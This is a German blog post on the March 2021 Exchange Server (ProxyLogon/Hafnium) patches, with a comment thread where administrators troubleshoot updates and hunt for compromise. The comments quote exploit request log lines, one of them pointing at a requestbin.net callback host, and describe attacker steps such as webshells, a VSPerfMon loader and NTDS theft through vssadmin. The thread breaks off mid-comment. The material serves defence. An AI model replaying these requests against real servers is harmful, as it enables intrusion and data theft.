Microsoft hat neue Sicherheitsupdate für Exchange Server 2013, 2016 und 2019 veröffentlicht. Die zeitnahe Installation der Sicherheitsupdates für die betroffenen Exchange Versionen wird seitens Microsoft empfohlen, da die Schwachstellen bereits ausgenutzt werden:
Da die aktive Ausnutzung verwandter Sicherheitslücken in freier Wildbahn bekannt ist (begrenzte gezielte Angriffe), lautet unsere Empfehlung, diese Updates sofort zu installieren, um sich vor diesen Angriffen zu schützen.
Zitat: Released: March 2021 Exchange Server Security Updates
Unter dem folgenden Links gibt es ebenfalls Informationen den Schwachstellen (Es handelt sich um eine “Remote Code Execution”-Schwachstelle):
- https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/
- https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
- https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-march-2-2021-kb5000871-9800a6bb-0a21-4ee7-b9da-fa85b3e1d23b
Hier finden sich die Updates zum Download:
- Security Update For Exchange Server 2019 Cumulative Update 8 (KB5000871)
- Security Update For Exchange Server 2019 Cumulative Update 7 (KB5000871)
- Security Update For Exchange Server 2016 Cumulative Update 19 (KB5000871)
- Security Update For Exchange Server 2016 Cumulative Update 18 (KB5000871)
- Security Update For Exchange Server 2013 Cumulative Update 23 (KB5000871)
Die entsprechenden Updates werden auch zeitnah via Windows Update angeboten. In der Vergangenheit hat sicher allerdings gezeigt, dass die manuelle Installation der Updates weniger Probleme verursacht. Da es sich hier um mehrere Schwachstellen handelt, die bereits aktiv ausgenutzt werden, sollten die Updates schnellstmöglich installiert werden. Auch wenn es sich aktuell nur „um begrenzte gezielte Angriffe“ handelt, ist zu erwarten, dass dies schnell durch „automatisierte weitreichende Angriffe“ ersetzt wird.
Update 07.03.21: Leider ist die Situation recht schnell eskaliert und es gibt zahlreiche erfolgreiche Angriffe auf Exchange Server. Wer bereits den Verdacht hat, dass sein Exchange Server erfolgreich angegriffen wurde und nicht sicher ist, wie er evtl. vorhandene Webshells wieder los wird, die Neuinstallation von Exchange und Betriebssystem ist ohne Datenverlust und ohne aktuelles Backup möglich:
Update 09.03.21: Es gibt mittlerweile auch Updates für ältere Exchange Server Installationen:
Um das alles nachvollziehen zu können haben wir:
Exchange 2016 CU12
die KB5000871 v. 12.03.2021 installiert und sind jetzt beim Schritt CU20.
und erhalten den Fehler:
„Der Upgradepatch kann vom Windows Installer-Dienst nicht installiert werden, weil das Programm, das atualisiert werden soll, möglicherw. fehlt, oder weil der UGPatch eine andere Version des Programms aktualisieren würde. Stellen Sie sicher, dass das zu aktualisierende Programm auf dem Computer installiert ist, und dass Sie den richtigen Upgr.patch installieren.“
Wir haben genommen: Kumulatives Update 20 für Exchange Server 2016 (KB4602569)
Beim Rücklesen gehe ich davon aus, dass es von 12 auf 20 kein Problem ist?
Oder haben wir einen Dienst zu viel gestoppt? Oder zu wenig?
Mittlerweile sind so viele gute Ratschläge für die Vorgehendweise unterwegs….cmd als admin, nicht doppelkl., nicht shell
exch* Dienste deakt./stoppt, vorher Neustart.
Woran kann das liegen?
Vielen Dank
Dinges Zeug
Niemand eine Antwort auf diese Frage?
N´Abend Dinges,
ein Sprung von 8 CUs sollte man nicht so leichtfertig ausprobieren. Deshalb hat dir bis jetzt wahrscheinlich auch keiner geantwortet.
Mal einen Blick auf die Support Matrix geworden? https://docs.microsoft.com/en-us/exchange/plan-and-deploy/supportability-matrix?view=exchserver-2016
Exchange 2016 CU12 läuft nur mit .Net 4.7.1 oder 4.7.2
Exchange 2016 CU20 läuft nur mit .Net 4.8
Alleine das macht ein Sprung von CU12 auf CU20 waghalsig.
Woher du das hast, dass von 12 auf 20 kein Problem sein soll ist schleierhaft.
Besser erstmal auf CU13 oder CU14 zu gehen. Dann .Net 4.8 installieren. Prüfen, dass alles weiterhin läuft. Danach kann der Versuch unternommen werden auf CU20 zu gehen. Aber selbst da könnten weitere Probleme blühen weil MS einiges in den CUs geändert hat. Also Sprung auf CU16, dann CU18 und dann CU20 wäre sicherer. MS unterstützt ja immer nur die beiden letzten CUs.
Wenn eine Firma noch Exchange 2016 CU12 in 2021 einsetzt, dann sollte die Frage gestellt werden ob es nicht besser wäre zu Exchange Online in die Cloud zu wechseln.
Exchange vor Ort sollte immer aktuell gehalten werden. Wer das nicht bewerkstelligen kann, der sollte in die Cloud gehen, wo die Aktualisierung dann dem Cloud Anbieter obliegt.
Spätestens seit den Angriffen in Februar / März sollte jedem bewusst sein welches Risiko veraltete Exchange Installationen bergen. Erstmal keine Sicherheitspatches. Wer nicht auf CU18 0der Cu19 war, der schaute in die Röhre. Und wer nicht binnen 24 / 48 Stunden patchen konnte, der wurde erbarmungslos infiziert. In den ersten 24 / 48 Stunden funktionierten die Angreiferskripte mancher Parteien noch nicht immer genau wie wir heute wissen. Aber danach waren diese soweit angepasst, dass die Angriffe durch-gingen.
Blogs wie der von Franky sind kein Ersatz für eine vernünftige Betreuung in Sachen IT, besonders wenn es um Exchange geht. Holt euch also kundige Hilfe anstelle im Blog Fragen zu Posten, welche darauf schließen lassen, dass ihr euch mit dem Thema bisher nicht oder sehr unzureichend beschäftigt habt.
Hi Alex,
danke für deine Antwort. Wir wollten hier das Hafnium Desaster einfach nachstellen. Der Exchange, den ich hier beschreibe läuft nicht produktiv. Da sich die aktuelle Situation (April) schon wieder geändert hat, gibt mir recht, das hier mal ausführlich und grundlegend testen (zu lassen). Unsere 2 Azubis sind hier schwer am werkeln.
Danke nochmal, dann gehen wir den 2-er Schritt bis nach oben.
PS. dass man von klein auf gleich CU20 kann, stand sogar hier iwo in einem Kommentar und wurde mehrfach bestätigt. Wo weiß ich leider nicht mehr.
Gruß
DINGES
PPS. Eigentlich sind wir hier schon eher Profis in Exchange. Also ruhig Blut – kein Grund gleich auf „sachkundige“ Hilfe holen und „überlasst das den Profis“ einzugehen.
Danke trotzdem
Hallo zusammen,
alle die KB000871 auf eine ältere CU installiert haben und dann bei der Gelegenheit gleich auf das aktuelle CU upgraden, sollten anschliesend umgehend das Sicherheitsupdate für die nun aktualisierte Version nachziehen. Nach Installation des CU8 für Exchange2019 war mein Server, der zuvor gepatched wurde, erneut kompromitiert worden.
Oh mann, du hättest auch CU9 installieren sollen und nicht CU8… CU8 ist die alte CU von Exchange 2019, welche anfällig ist. Kein Wunder das du erneut gehackt wurdest.
Siehe Frankys letzten Blogpost zu den aktuellen sicheren CUs unter https://www.frankysweb.de/neue-updates-fuer-exchange-2016-2019-maerz-2021/
Hi,
wir hatten einen betroffenen Server bei dem das Test-ProxyLogon Script überhaupt angeschlagen hat. Alle anderen Exchange wurden mit dem Script in 3 Versionen (08.03,14.03.,16.03) geprüft und haben keine Funde, Ebenso keine Meldungen über den Safety Scanner und keine Anzeichen bei einer Sichtprüfung der Logs und aller bekannten Webshell Verzeichnisse.
Aber bei einem Server gab es wie gesagt Meldungen. Dort habe ich Einträge der Form:
/owa/auth/x.js“,“X-AnonResource-Backend-Cookie“,“Mozilla/5.0 zgrab/0.x“,“ServerInfo~localhost/ecp/default.flt?“,“500″
die aber ja von Microsoft mittlerweile ausgeklammert werden.
Es gibt lediglich einen Eintrag der anders ist, zu dem ich aber nichts finde:
„/owa/auth/x.js“,“X-AnonResource-Backend-Cookie“,“Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55″,“ServerInfo~.82a595b7c3182062c44a.d.requestbin.net/ecp/default.flt?“,“302″
Zum gleichen Zeitpunkt taucht eine „UriFormatException“ (ASP.NET Error 1309) im Log auf:
Request information:
Event code: 3005
Event message: Es ist eine unbehandelte Ausnahme aufgetreten.
Event time: 06.03.2021 09:59:32
Event time (UTC): 06.03.2021 08:59:32
Event ID: 2eda501ae79e48d887593bc6344f0f56
Event sequence: 2
Event occurrence: 1
Event detail code: 0
Application information:
Application domain: /LM/W3SVC/1/ROOT/owa-2-132591030009503223
Trust level: Full
Application Virtual Path: /owa
Application Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\
Machine name: „Unser Servername“
Process information:
Process ID: 25596
Process name: w3wp.exe
Account name: NT-AUTORITÄT\SYSTEM
Exception information:
Exception type: UriFormatException
Exception message: Ungültiger URI: Der Hostname konnte nicht analysiert werden.
bei System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind)
bei System.UriBuilder.get_Uri()
bei Microsoft.Exchange.HttpProxy.ProxyRequestHandler.GetTargetBackEndServerUrl()
bei Microsoft.Exchange.HttpProxy.ProxyRequestHandler.b__172_0()
bei Microsoft.Exchange.Common.IL.ILUtil.DoTryFilterCatch(Action tryDelegate, Func`2 filterDelegate, Action`1 catchDelegate)
bei Microsoft.Exchange.HttpProxy.ProxyRequestHandler.CallThreadEntranceMethod(Action method)
Request information:
Request URL: https://„unsere öffentliche IP“:443/owa/auth/x.js
Request path: /owa/auth/x.js
User host address: 34.87.189.145
User:
Is authenticated: False
Authentication Type:
Thread account name: NT-AUTORITÄT\SYSTEM
Thread information:
Thread ID: 21
Thread account name: NT-AUTORITÄT\SYSTEM
Is impersonating: False
Stack trace: bei System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind)
bei System.UriBuilder.get_Uri()
bei Microsoft.Exchange.HttpProxy.ProxyRequestHandler.GetTargetBackEndServerUrl()
bei Microsoft.Exchange.HttpProxy.ProxyRequestHandler.b__172_0()
bei Microsoft.Exchange.Common.IL.ILUtil.DoTryFilterCatch(Action tryDelegate, Func`2 filterDelegate, Action`1 catchDelegate)
bei Microsoft.Exchange.HttpProxy.ProxyRequestHandler.CallThreadEntranceMethod(Action method)
Ich habe alle Logs zu diesem Zeitpunkt durchgeschaut, danach ist nichts mehr passiert.
Alle erdenklichen Tests habe ich auf dem Server gemacht:
– mehrfach mit Safety Scanner geprüft
– nach geänderten Dateien gesucht
– manuell nach Webshells gesucht und die Inhalte der vorhandenen .aspx Dateien geprüft( auf Veränderungen die den bisher bekannten Mustern der Hacker folgte)
– Thor Lite dreimal laufen lassen
– Das Cert-LV Webshell Detection Script ausgeführt
usw.
Ich habe alle möglichen Hinweise auf Kompromittierung geprüft z.B. mich an Listen wie https://blueteamblog.com/microsoft-exchange-zero-days-mitigations-and-detections langehangelt etc.
Ich kann nichts finden und finde nirgendwo Informationen was dieser Eintrag zu sagen hat.
Kann mich jemand dazu aufklären, oder hat jemand etwas Ähnliches?
Viele Grüße
Thomas
Hallo Thomas,
Die Einträge zu „/owa/auth/x.js“ findet das Tool von Microsoft auch nicht. Wir hatten dasselbe Problem. Wir hatten laut dem Tool von Microsoft nur Einträge in der Autodiscover.
Das erste „/owa/auth/x.js“,“X-AnonResource-Backend-Cookie“,“Mozilla/5.0 zgrab/0.x“,“ServerInfo~localhost/ecp/default.flt?“,“500″“ deutet auch einen 500er Fehler hin. War zu diesem Zeitpnuk der Server schon gepatcht worden?
Das zweite „„/owa/auth/x.js“,“X-AnonResource-Backend-Cookie“,“Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55″,“ServerInfo~.82a595b7c3182062c44a.d.requestbin.net/ecp/default.flt?“,“302″“ deutet darauf hin, dass die Angreifer es erneut probiert haben und versucht haben eine Webshell in den Externen Url Platzhalter für das OWA Verzeichnis zu setzen.
Wurde das OWA Verzeichnis bei euch neu gesetzt?
Gruß
Alex
Hi Alex,
danke für deine Antwort.
Der Server war zu dem Zeitpunkt noch nicht gepatcht. Ich habe die Logs manuell durchgeschaut zu jedem Zeitpunkt an dem ein 500er Fehler geworfen wurde. Es ist danach tatsächlich nichts mehr passiert. Es gab auch keine verdächtigen Autodiscover Einträge, das OWA Verzeichnis wurde nicht neu gesetzt, noch wurde laut Protokollen der Versuch unternommen.
Ich habe gerade nochmal händisch die Logs unter logging/http-proxy durchgeschaut sowie logging/ecp.
Dort finden sich keine weiteren Aktionen. Nach diesem
„„/owa/auth/x.js“,“X-AnonResource-Backend-Cookie“,“Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55″,“ServerInfo~.82a595b7c3182062c44a.d.requestbin.net/ecp/default.flt?“,“302
passiert einfach nichts mehr. Als nächstes kommen HealthMailbox Einträge und User loggen sich ein (war um 09:00).
Das merkwürdige ist, dass ich nicht viel zu diesem Eintrag finde.
Der Eintrag ist unter Logging\HttpProxy\Owa und endet mit der vorher erwähnten Exception die durch den Aufruf ausgelöst wurde. Wenn ich https://www.praetorian.com/blog/reproducing-proxylogon-exploit/ richtig verstehe, hätten als nächstes Autodiscover Einträge auftauchen müssen oder irgendwie anders hätte man versuchen müssen Kontrolle über einen Dienst zu erlangen. Da ist aber nichts passiert. War es ein erfolgloser Versuch und hat man sich das System für später vorgemerkt? War es evtl. eine nicht gut ausgearbeitete Routine.
Wenn ich mich auf die reinen Infos verlasse die bisherige Kompromittierungen identifizieren, dann ist das System clean. Da wirklich bisher jeder Test sagt es ist alles ok, lediglich das Microsoft Test Skript findet (Stand gestern) diesen Eintrag. Stand 14.03 hat das Skript den Eintrag übrigens ignoriert.
Das macht einen wirklich verrückt, vermutlich bin ich aber nicht der Einzige auf der Welt der momentan dem Wahnsinn verfällt.
Hallo in die Runde,
auch wird haben in der *-CVE-2021-26855.csv zwei Einträge mit HttpStatus 500. MSERT zeigt aber nichts weiteres an.
Hab ich Glück, wenn Exchange nicht im Standardpfad installiert wurde ? Ich meine das hier irgendwo gelesen zu haben.
Vielen Dank für Euer Feedback
Hast du Einträge für die Autodiscover?
HttpStatus 500 bei ECP? Bei RPC ?bei OWA? bei OAB? Hast du POSTS mit Status 200?
das Tool von Microsoft findet nicht alles… bei uns waren nur die Autodiscover Einträge drin. Aber wir hatten etliche GET und POST in das /ECP/ Verzeichnis, was der Versuch der Ausnutzung der RCE für ECP darstellt. Also am besten selber die Logs vom IIS durchforsten… schau mal nach „python“ als requester. und nach x.js oder y.js oder program.js als POST.
Ein 500er kann entstehen nachdem der Server gepatcht wurde. Ist bei uns einmalig der Fall gewesen bevor wir ECP / RPC / OWA /OAB vom Internet abgeschirmt haben.
Wichtig sind die Rewrite Regeln für den IIS die diese präparierten Abfragen blockieren… die Regeln fangen die 26855 ab und verhindern schlimmeres. Laut einigen Sicherheitsforschen ist es sogar die beste Lösung wenn der Server nicht gepatcht werden kann und weiterhin erreichbar ist.
Ob eine Abweichung vom Standardpfad geholfen hat ist schwer zu sagen. Diese Aussage bezieht sich wahrscheinlich auf den Test von Frank mittels dem bei Github aufgetauchten Skript der die Schwachstelle ausnutzen soll.
Das will aber nicht viel sagen, weil wir ja nicht wissen wie die anderen Angreifer ihre Skripte geschrieben haben. Die werden wahrscheinlich nicht so wie bei Github einen festen Pfad angegeben haben, sondern sehr wahrscheinlich relative Pfade mit den Exchange Variablen… soviel Können ist denen zuzutrauen wenn man sieht mit welchen Akteuren man es zu tun hat. Das sind keine Anfänger die diese Angriffe gefahren haben.
Es gibt auch erste Rechercheteams die Reverse Engineering vom Patch von Microsoft gemacht haben. Das gibt einige Informationen wo die Schwachstellen genau sind und wie diese ausgenutzt werden können. Beispielsweise wird der Abruf der Autodiscover benutzt um das Administratorkonto für den Exchange / Domain zu finden. Gibt Autodiscover eine positive Antwort zurück, dann wars das, dann kann der Angriff komplett durchlaufen. Findet der Angreifer nicht das Adminstratorkonto so kann der Angriff wohl nicht zu Ende gebracht werden, weil er den Administrator nicht impersonieren kann um danach als SYSTEM User zu enden.
Gruß
Alex
Zieht MSERT eigentlich immer die aktuellen Signaturen oder muss man die Anwendung aktualisieren, wenn man im Abstand von einigen Tagen erneute Scan mit aktualisierten Signaturen durchführen will?
Das wird aktualisiert.
Hallo,
ich habe die CompareExchangeHashes in der aktuellen Version jetzt durch. In den älteren Versionen sind auch immer Reports von beachtlicher Größe entstanden. Nun ist die csv nur 1kb groß.
Es wird nur die web.config unter C:\inetpub\wwwroot als „Suspicius“ und dem Hashwert angezeigt.
Was ich allerdings seltsam finde, ist das diese Version der Datei erst nach dem Update am 8.3. auf Exchange2016 CU19 und dem Hotfix geändert wurde. Es muss ja bei der Installation passiert sein, weil auch ein .bak der Datei im Verzeichnis liegt.
Alle anderen Tools von MS wie z.B. das MSERT.exe haben keine Auffälligkeiten gezeigt.
Kann das jemand erklären, oder hat Hinweise?
Weiterhin allen viel Erfolg bei der Schadensbegrenzung.
Grüße Dirk
Hier das Selbe. Alle Funde sind zu 99% aus dem Jahr 2018/2019. Wenn Hafnium da schon um sich gegriffen hat dann gute Nacht. Die anderen aus 2020 wurden von mir wissentlich persönlich abgeändert wie zum Beispiel die logon.css wegen eigenem OWA Design. Ich habe auch extra nochmal alle aktualisierten Scripts durch laufen lassen. Nach wie vor keine Gefahr gefunden. Vielleicht bin ich naiv, aber ich denke wir sind glücklich davon gekommen.
Ich habe jetzt die aktuelle Versiom MSERT 1.333.174.0 laufen lassen. Das Tool hat dann angeblich 7 Infizierte Datein gefunden.
Am Ende des Durchgangs steht dann aber, dass keine Funde vorhanden sind. Im Log sind keine infizierten Dateien vorhanden.
Lasse ich das Tool nochmals laufen, bekomme ich gleiche Ergenisse. Angeblich dann auch mal 9 Infizierte Dateien und am Ende keine Infektion. Auch keine Funde im Log.
Unser Kaspersky Mailscanner und Kspersky AV für Server in der aktuellen Version und Updates sagt das alles sauber ist.
Also Kaspersky vertrau ich da irgendwie mehr…..
Weiterhin viel Erfolg allen.
Grüße
kleiner Nachtrag…..
Die Vorgängerversion vom MSERT 1.0 irgendwas hatte nix gefunden….
Hallo Dirk,
bei mir das Gleiche:
auf einem DC 2012R2 auf dem außer dem AD nichts ist, findet MSERT V 1.333.160.0 5 infizierte Dateien und beendet ohne Angebot der Vorschau der Bösewichter mit grün und „nichts gefunden“. Im Log gestern:
Results Summary:
—————-
No infection found.
Successfully Submitted Heartbeat Report
Microsoft Safety Scanner Finished On Thu Mar 11 10:40:17 2021
Return code: 0 (0x0)
Auch bei nochmaligem Durchlauf dasselbe.
Heute lasse ich Vers. 1.333.233.0 laufen, wieder 5 angeblich infizierte Dateien und nun warte ich noch aufs Ergebnis, das ich später posten werde.
Gruß
heiner
…und inzwischen ist MSERT fertig: Wieder grün, nichts gefunden und 0x0 im Log.
Ich ließ gestern dann auch mal den ESET Online scanner drüber laufen – der fand nichts.
Hallo Dirk,
auch bei mir wurde die web.config als „Suspicius“ angezeigt. Das Datum der Datei ist der Installationszeitpunkt von CU19. Ich habe mal den Inhalt der Datei mit der web.config.bak vom 19.11.2020 verglichen. Entwarnung – der einzige Unterschied ist die Zeile „“ in web.config gegenüber „“ in web.config.bak.
Zeile mit Link wurde in meinem Posting entfernt. Also der Unterschied ist im web.config ist das Installationsverzeichnis als absoluter Pfad angegeben und in web.config.bak mit einer Umgebungsvariable „ExchangeInstallDir“. Ansonsten konnte ich in der web.conf nichts auffälliges finden.
Hallo Susanne,
Danke für Deine Antwort. Also keinen kopf machen :-)
Grüße
Ich habe eine Frage, habe Exchange 2016 CU18 und hatte den Patch direkt bei Erscheinen installiert.
Nach gründlicher Prüfung konnte ich keine Angriffe feststellen, soweit alles gut.
Wie sieht es jetzt aus, wenn ich auf CU19 update, muss ich danach das Sicherheitsupdate wieder installieren, oder bleibt das erhalten?
mfg
Hey,
soweit ich das verstanden habe, musst Du den Patch für das neue CU nochmals einspielen.
Erst bei den neuen CU’s wird er mit enthalten sein.
LG
Dankeschön für die Antwort.
Hallo, ich hatte genau das gleiche Thema. Wir hatten 2016 mit CU18 installiert. Habe dann sofort am 2. März den Patch eingespielt. Dann am Wochenende das CU 19 Update gemacht. Danach muss der Patch nochmal neu eingespielt werden. Ich habe den Fehler gemacht und die Installation vom Patch direkt nach dem Neustart vom CU19 Upgrade gestartet. Das gab dann einen Abbruch vom Setup (obwohl über cmd als Admin ausgeführt) und die Exchange Dienste starteten nicht mehr. Also würde ich empfehlen nach dem Restart etwas zu warten mit dem Setup vom Patch.
PS: Hab die Services mit dieser Anleitung dann wieder zum laufen gebracht: https://www.reddit.com/r/exchangeserver/comments/lxfd8u/2013_kb5000871_killed_my_server_and_this_just/
LG David
Dankeschön für die Antwort.
Ich will mein System weiterhin absichern. Hierzu würde ich gerne den Microsoft Exchange Unified Messaging service deaktivieren (also die zwei UM Dienste). Ein „offiziellen“ Weg für 2016 habe ich nicht gefunden, lediglich für 2010 existiert ein Befehl „Disable-UMService“. Hat die Deaktivierung der beiden UM Dienste negative Auswirkungen auf die Exchange Installation? Hat jemand Erfahrung damit?
Hi,
hab diese Dienste bei mehreren 2016er Installationen bereits seit längerer Zeit deaktiviert, hat nie Probleme gemacht & blieb auch nach CUs erhalten.
Danke für die Antwort. Dann werde ich die Dienste mal deaktivieren.
So, das Skipt ist bei uns durch nach etlichen Stunden.
„Comparison complete. Writing results.“
Exported results to C:\user\xxxxxxx\Desktop\15.1.2176.2_result.xml
In rot „Done! Errors occured during comparison, please inspect the result file“.
Wir haben eine 960 MB große Datei. Hat jemand ähnliche Erfahrung?
Hi,
bei mir läuft das Skript seit heute morgen um 6:45 Uhr (in der zu der Zeit aktuellen Version). Davor lief es 2-3 mal mit einem nur 700 MB großen Datei und demselben Fehler, wobei in der Datei jede analysierte Daten als geändert aufgeführt wurde. Das erscheint mir dann doch etwas viel… bei rund 800.000 Zeilen…
Bin gespannt, wann die aktuelle Version mal fertig wird.
Hi,
danke für die Info. Es läuft jetzt die aktualisierte Version.
Mal sehen was die ausgibt.
Gruß
Alex
Es muss eine csv rauskommen, xml deutet auf eine alte Version vom Script hin.
Also ich komme mit dem Script auch nicht weiter. Jetzt das dritte durchgelaufen und jetzt bekomme ich diesen Fehler
Fehler beim Öffnen der Remotesitzung mit einem unerwarteten Zustand. Zustand Broken.
In G:\CompareExchangeHashes.ps1:481 Zeichen:13
+ $res = Receive-Job $job.ID
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : OpenError: (localhost:String) [], RuntimeException
+ FullyQualifiedErrorId : PSSessionStateBroken
Ich glaube ich geb’s einfach auf. Dieses Script scheint zu nichts zu führen. Unsere Emails sind jetzt eh nur noch per VPN erreichbar. Konnte die Chefetage zum Umdenken bewegen.
Das neue Script scheint zu funktionieren und läuft auch viel schneller durch. Angeblich wurde was gefunden, aber wie schon von Alex bemerkt, werde ich da nicht wirklich schlau aus diesen „Fünden“. Auch irgendwie bedenklich, dass man einfach so seine Daten jetzt an Microsoft senden soll. Ich wäre da echt über mehr Transparenz seitens MS dankbar :/
Hallo Zusammen,
bei mir ist das auch durchgelaufen und ich hab nun eine 4 MB große CSV… was mir allerdings auffällt, es sind meist Dateien aus den vergangenen Jahren die angemeckert werden… Sprich vom letzten Änderungsdatum her.
MSERT war soweit sauber, wie auch weitere PS Skripte zum detektieren…
Mal die Tage nochmal laufen lassen…
Wer bei der CompareExchangeHashes.ps1 auch keine Output file bekommt wie bei uns, es gibt erneut eine aktualisierte Version. Ganz ehrlich, die Fehlersuche bei MS ist wohl ebenso fehlerhaft, wie die Programme an sich :D
Three times a charm…
eine Frage an jene die Tasks in der Windows Aufgabenplanungsbibliothek gefunden haben: unter welchem Ordner sollen die sein? Ich finde da keine verdächtigen aktiven Tasks.
Get-ScheduledTask | Where-Object { $_.TaskName -eq ’sync‘ -or $_.TaskName -eq ‚winnet‘ } | Get-ScheduledTaskInfo
Damit kannst du nach den Tasks suchen.
hab es nur flüchtig gelesen. Dabei ist mir aufgefallen: BackendCookieMitigation.ps1 ist kein Suchtool für Infektionen sondern ein quickfix bis zum patch.
Hallo zusammen,
danke für die Zusammenfassung. War echt Hilfreich.
Wir sind von einem älteren Stand direkt auf des neuste CU gesprungen.
Im Einsatz ein Exchange 2013 älteres CU. Bei uns hat folgendes sehr gut funktioniert
1. „VC++RedistributablePackageforVisualStudio2013“ installieren > als Admin ausführen!
2. Alle Exchange Dienste > Screenshot machen wg. Starttyp! > Dienste stoppen und Starttyp „Deaktiviert“ einstellen
3. .NET Framework 4.8 installieren > als Admin ausführen!
4. Server neu starten
5. Alle Exchange Dienste > Starttyp wieder korrekt einstellen lt. Screenshot aber beendet lassen!
6. CU23 installieren > als Admin ausführen!
7. Server neu starten
8. Alle Dienste und Funktionen prüfen
9. Patch KB 5000871
10 Server neu starten
11. Alle Dienste und Funktionen prüfen
Dauer des ganzen ca. 2 Stunden
Davor geschaltet haben wir eine Sophos mit WAF. Konfiguriert nach der Anleitung hier im Forum. Hat sofort wieder funktioniert. Danke dafür.
Grüß
Kannst Du bitte einen Link zu dieser Sophos WAF Anleitung posten?
Moin Sebastian,
bitte schön -> https://www.hasslinger.com/index.php/de/blog/sophos-sg-utm-konfiguration-der-waf-fuer-exchange-2016-2019-owa-activesync-und-autodiscovery
VG Seb
Gut Morgen,
vielen Dank für Deinen Link zur Anweisung WAF. Ich habe unsere Sophos auch so konfiguriert. Es läuft. Aber ich habe ein Probelm bem Anlegen bzw. aktivieren der beiden virtuellen Webserver. Stefan Haßlinger schreibt, dass bei der Anlage der virtuellen Webserver alle externen DNS Namen aktiviert werden sollen. Diese ergeben sich ja aus dem Zertifikat des Exchange Servers.
Ich abe in meinem Zertifikat 2 DNS Namen, die ich mal nach einer Konfigurationsanleitung hier bei Frankys erstellt habe. autodiscover.tld.de und mail.tld.de
Ich kann aber nur einen virtuellen Server aktivieren, wenn ich beide DNS Namen angehakt habe.
Ich hab mir jetzt so geholfen, indem ich für Exchange-OWA-ActiveSync-Anywhere die DNS „mail.tld.de“
und für Exchange-Autodiscover „autodiscover.tld.de“ ausgewählt habe. Dann kann ich beide virtuelen Webserver aktivieren. Sonst meckert die Sophos, das der eine Server schon beid DNS Namen benutzt.
Hatte das Problem auch jemand?
Beste Grüße und ein stressfreies We.
Dirk
Guten Morgen,
ich habe auch noch eine Frage.
Ich habe den Test über Test-ProxyLogon.ps1 gemacht und war glücklicherweise nicht betroffen. Muss ich die anderen Scripts auch noch laufen lassen oder sind diese in Test-ProxyLogon.ps1 enthalten? So wie ich es verstanden habe waren diese integriert und ich musste nur dieses Script ausführen.
Ich danke euch!
Das fand ich recht hilfreich
https://www.heise.de/forum/heise-online/Kommentare/Exchange-Luecken-BSI-ruft-IT-Bedrohungslage-rot-aus/Nicht-zuende-recherchiert-Hilfe-inside/posting-38517340/show/
Gibt es dazu noch Ergänzung von euch?
Guten Abend alle zusammen,
ich habe keine guten Nachrichten für die die wie wir von der IP Adresse 86.105.18.116 Besuch hatten.
Huntress hat heute in seinem Tradecraft Tuesday auf andere Akteure hingewiesen.
Siehe hier: https://www.huntress.com/resources/tradecraft-tuesday
Truesec hat wohl nachverfolgen können was die Angreifer mit der IP 86.105.18.116 vorhatten.
Siehe https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/
Die Webshells wurden wohl als Systemerweiterungen und versteckte Dateien angelegt. Wer also nicht in den Optionen die Option raus-genommen hat sich die Systemerweiterung nicht anzeigen zu lassen, der könnte die Webshells übersehen haben.
Ferner sind die Webshells nicht das einzige Ziel der Angreifer.
Diese versuchen dann im User/Public den Opera Browser zu nutzen um Payploads nachzuladen.
Anschließend wird ein provisorischer Task „Test“ und dann eine Task „VSPerfMon“ gestartet. Die Datei befindet sich unter C:\ProgramData\VSPerfMon\VSPerfMon.exe und lädt dann eine vspmsg.dll rein.
Anschließend wird Kontakt zur Webseite http://www(.)licensenest(.)com aufgenommen um weitere Infos zu bekommen.
Danach versucht das System sich weiter seitwärts zu Verbreiten über entfernte Task Installation mittles VSPerfMon oder über Remote Service Installation (Variante von lmpacket und smbexec tools).
Auch wird der Versuch unternommen über vssadmin die Schattenkopien der Active Directory NTDS Datenbank gesucht und abgesaugt.
Im Link weiter oben stehen alle Dateien wonach aufm Server gesucht werden sollte.
Auch wenn diese Dateien nicht gefunden werden, so muss davon ausgegangen werden, dass die Active Directory NTDS Datenbank entwendet worden ist. Somit sollten zur Sicherheit alle Passwörter aller Nutzer geändert werden. Genauso wie für den User der die Kerberos Tickets erstellt.
Wer also einen Server bei sich hat der Besuch von 86.105.18.116 hatte, und der Server ist noch in Betrieb, der sollte schnellsten handeln.
Laut Truesec waren die Domains am 7. März wohl nicht mehr erreichbar.
Wir konnten bei uns keine Spuren finden, werden aber trotzdem alle Passwörter jetzt ändern und nicht nur die administrativen wie bis jetzt.
Gruß
Alex
Es gibt wohl weitere Neuigkeiten die aber noch nicht öffentlich sind.
Wer in den Logs diese x.js oder y.js mit einer Python Request hat, der muss um die Sicherheit seiner Daten fürchten.
Ich zietere mal: „f you don’t find a webshell but you have entries in your logs with “python” user agents, that have references to “x.js” or “y.js” (or another random named .js) you may have mad data compromise.“
Siehe die Quelle hier: https://www.pwndefend.com/2021/03/07/checking-for-hafnium-or-other-groups-impact-from-exchange-abuse/
Es ist noch nicht klar ob die Angriffe von 86.105.18.116 sich nur so abgespielt haben wie von Truesec bisher bekannt gegeben.
Der Grund warum wir die y.js oder x.js nicht gefunden haben könnte daran liegen, dass diese nach dem Exploit gelöscht wurden, oder das diese als „Systemdatei“ unsichtbar gemacht wurde, so dass diese nur erschien wenn die Systemdateien angezeigt werden. Die Option „Alle versteckte Dateien anzeigen“ wie wir sie alle kennen zeigt diese Systemdateien eben nicht an.
Gruß
Alex
Wo findet ihr denn die python Einträge?
Ich hatte auch an einer Stelle Besuch von der 85.105.18.116.
Was ich bei mir finde sind Meldungen über das Test-Hafnium Skript von Microsoft:
2021-03-03T05:07:21.340Z“,“ServerInfo~a]@server.domain.int:444/autodiscover/autodiscover.xml?#“
Bei weiterer Suche finde ich den Autodiscover-Logs:
